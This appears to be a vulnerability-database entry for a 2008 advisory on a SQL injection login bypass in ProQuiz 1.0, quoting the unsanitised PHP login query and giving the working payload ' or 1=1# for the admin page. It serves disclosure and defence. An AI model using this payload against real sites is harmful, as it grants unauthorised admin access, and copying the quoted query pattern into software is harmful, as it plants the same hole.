Lucene search
K

ProQuiz 1.0 SQL Injection

🗓️ 09 Dec 2008 00:00:00Reported by OsirysType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

ProQuiz 1.0 SQL Injection vulnerability, admin login bypas

Code
`----------------------------------------------------------------------------------------------------------------------------------------------------------------  
[0] GENERAL DETAILS:  
  
Name : ProQuiz 1.0 Sql Injection (Auth bypass)  
Download : http://sourceforge.net/project/downloading.php?group_id=246466&use_mirror=kent&filename=ProQuiz.zip&65145754  
Vulnerability : Sql Injection (Admin Login Bypass)  
Author : Osirys  
Contact : osirys[at]live[dot]it  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------  
[1] BUG EXPLANATION:  
  
The affected file is /admin/index.php. Let's see the code.  
  
[CODE]  
if($_GET['menu'] != 'madmin')  
{  
if(isset($_POST['username']) && isset($_POST['password']))  
{  
$query = "SELECT * FROM ".$member_admin." WHERE `username` = '".$_POST['username']."' AND `password` = '".$_POST['password']."' ";  
[/CODE]  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------  
[2] EXPLOITATION:  
  
Just go in /[path]/admin/index.php. Login with the following details:  
Username : ' or 1=1#  
Password : anything  
  
----------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation